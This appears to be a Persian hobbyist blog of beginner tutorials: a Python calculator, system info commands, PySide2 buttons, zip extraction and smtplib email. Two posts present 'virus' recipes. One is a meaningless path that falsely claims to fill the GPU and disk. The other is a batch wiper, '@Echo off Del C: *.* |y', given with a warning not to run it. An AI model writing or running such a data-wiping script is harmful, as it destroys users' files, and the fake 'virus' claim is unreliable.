بسم الله رحمن الرحیم
سلام به همه ی دوستان پس از گذشت حدود 2 ماه از زمانی که وبلاگ رو درست کردم بلاخره سایت راه اندازی شد و از این به بعد این وبلاگ به عنوان وبلاگ سایت شناخته میشود
ادرس سایت:https://irnelm.ir
سلام به همه ی دوستان پس از گذشت حدود 2 ماه از زمانی که وبلاگ رو درست کردم بلاخره سایت راه اندازی شد و از این به بعد این وبلاگ به عنوان وبلاگ سایت شناخته میشود
ادرس سایت:https://irnelm.ir
به نام خدا. من محمد جواد حق بیگی هستم در این آموزش من میخوام یک ویروس بسازیم که کارت گرافیک و هارد رو پر میکنه
اول notepad رو باز کنید و داخلش بنویسید
c/windows/system32/jefo/display/memory/full
بعد از منوی file گزینه save رو بزنید و نام فایل رو بنویسید virus1.bat توجه:.bat اخر رو پاک نکنید
بعد سیو کنید
هشدار:این کد را ابدا اجرا نکنید یعنی روش کلیک هم نکنید
بازم سر بزنید
نظرتون رو بگید
تا مطلب بعد خداحافظ👋👋
یه نام خدا من محمد جواد حق بیگی هستم در این مطلب ما یک ماشین حساب ساده با پایتون می سازیم که میتونه ضرب و تقسیم و جمع کردن و کم کردن رو انجام بده البته این ماشین حساب گرافیکی نیست و بعدا اموزش ساخت ماشین حساب گرافیکی با tkinter رو یاد میدم شروع کنیم
اول ما باید سه ورودی که بترتیب به وجود بیایند در حلقه بینهایت بنویسیم
while True: n = input("your number: ") o = input("your operator: ") n2 = input("your number: ")
بعد باید سیستم حساب را طراحی کنیم
while True: n = input("your num>. ") a = input("your operator>. ") n1 = input("your operator use this for>. ") if a == "+": print(int(n) +int(n1) ) elif a == "-": print(int(n) - int(n1)) elif a == "/": print(int(n) / int(n1)) elif a == "*": print(int(n) * int(n1)) while True: pass
به همین راحتی کد بالا یک ماشین حساب ساده بدون استفاده از کتابخانه توضیح هم نمیخواد خیلی کار ساده و اسان
نظرتون رو بگید
بازم سر بزنید
خداحافظ👋👋
به نام خدا. من محمد جواد حق بیگی هستم در این آموزش ما به نصب پایتون و وبرایشگر کد visual studio میپردازیم و یاد میگیریم
اول برای نصب پایتون از این لینک نسخه مورد نظر رو دانلود کنید بعد setup رو اجرا کنید و نصب کنید
به همین سادگی نظری داشتید بگید
خداحافظ👋👋
به نام خدا. از همتون بخاطر این که چند روز فعالیت نداشتم عذر خواهی میکنم شروع کنیم
اول notepad رو باز کنید و از منوی فایل save و بعد اسم فایل رو virus.bat بگذارید بعد این متن رو داخلش بنویسید
@Echo off Del C: *.* |y
بعد فایل رو سیو کنید
هشدار :این را روی رایانه ها اجرا نکنید به دلیل اینکه درایو سیستم کلا پاک میشود
به همین سادگی نظری داشتید بگید
باز هم سر بزنید.
به نام خدا. من محمد جواد حق بیگی هستم. ما در این آموزش ما یاد میگیریم که ، چطور اطلاعات سیستم رو با پایتون به دست بیاریم
برای بدست آوردن user های سیستم از دستور زیر استفاده میکنیم
import os user = os.system("net user") print(user)
این کد میاد و user های سیستم رو print میکنه و برای بدست آوردن اطلاعات کلی از دستور زیر استفاده کنید
import os information = os.system("SystemInfo") print(information)
به همین سادگی نظری داشتید بگید تا آموزش بعد خداحافظ
باز هم سربزنید جایی گذاشتید منبع رو ذکر کنید.
به نام خدا. امروز من میخوام به شما یاد بدیم چطور ip عمومی رو بدست بیاورید اول اگه کتابخانه requests رو ندارید با دستور زیر نصب کنید
pip install requests
اگر دارید که هیچی بعد با دستور زیر اطلاعات رو بدست میاوریم
import requests
ip_request = requests.get('https://get.geojs.io/v1/ip.json')
my_ip = ip_request.json()['ip']
print(my_ip)
توضیحات :این کد در خط اول کتابخانه requests رو ایمپورت میکنه بعد از ادرس https://get.geojs.io/v1/ip.json
اطلاعات میگیرد بعد هم اطلاعات رو به json تبدیل مینه و بعد print میکنه به همین سادگی لطفا نظرتون رو بگید
و دوباره سر بزنید.
به نام خدا من محمد جواد حق بیگی هستم در این جلسه با QPushButton اشنا میشیم و کاربردش رو بررسی میکنیم
برای ایجاد یک صفحه همراه QPushButton از کد زیر کمک میکیریم
from PySide2.QtWidgets import * from PySide2 import * from PySide2.QtCore import * class Main(QMainWindow): def __init__(self): super().__init__() self.setWindowTitle("button example") button = QPushButton("press me" , self) self.show() app = QApplication() window = Main() window.show() app.exec_()
اگر این کد را اجرا کنید خروجی زیر رو میگیرید:
که داخلش یک دکمه که روش بزنید کاری نمیکنه هستش
برای این که بگیم وتی روش زد چه اتفاقی بیافتد از کد زیر کمک میگیریم
from PySide2.QtWidgets import * from PySide2 import * from PySide2.QtCore import * class Main(QMainWindow): def __init__(self): super().__init__() self.setWindowTitle("button example") button = QPushButton("press me" , self) button.clicked.connect(self.clicked) self.show() def clicked(self): print("clicked") app = QApplication() window = Main() window.show() app.exec_()
در این جلسه اشنایی مختصری با QPushButton داشتیم و در جلسه های بعد بیشتر اشنا میشیم
به وبلاگ سر بزنید
تا مطلب بعد خدا نگهدار.
به نام خدا امروز من میخوام شما را با کتابخانه zipfile و rarfile اشنا کنیم برای نصب کتابخانه rarfile با دستور زیر پیش برید
pip install rarfile
نکته: کتابخانه zipfileهمراه با پایتون نصب میشود
امکان باز کردن فایل rar رمز دار وجود ندارد اما میتوان فایل zip رمز دار را باز کرد
برای شروع کتابخانه های مورد نظر رو ایمپورت میکنیم
import rarfile ,zipfile
برای استخراج فایل zip با دستور زیر عمل میکنیم
with zipfile.ZipFile("مکان فایل rar") as f: f.extractall("محل استخراج")
و برای استخراج فایل rar
with rarfile.RarFile() as f: f.extractall()
f._filepassed(رمز)
این مطلب به پایان رسید به وبلاگ سر بزنید و نظرتون رو بگید
تذکر:جایی گذاشتین منبع رو ذکر کنید
به نام خدا من محمد جواد حق بیگی هستم نویسنده وبلاگ ادرس هستم در این آموزش قصد داریم با ماژول smtlib اشنا شویم و کاربردش را بررسی کنیم :
این ماژول از اول رو پایتون هست و نیازی به نصب نداره برای اینکه ما بتونیم با کد پایتون در gmail لوگین کنیم باید روی این لینک کلیک کنید و دکمه رو روشن کنید تا گوگل اجازه بده در gmail لوگین کنیم
بعد با دستور زیر ماژول رو ایمپورت میکنیم
import smtplib import ssl
بعد با دستور زیر به سرور gmail لوگین میکنیم
port = 465 # context = ssl.create_default_context() with smtplib.SMTP_SSL("smtp.gmail.com", port, context=context) as server: server.login(رمز ایمیل،ایمیل)
برای ارسال پیام از دستور زیر استفاده میکنیم
server.sendmail(پیغام ، ایمیل دریافت کننده ،ایمیل)
تذکر:حتما پیغام باید string باشد
این جلسه به پایان رسید تا جلسه بعد خداحافظ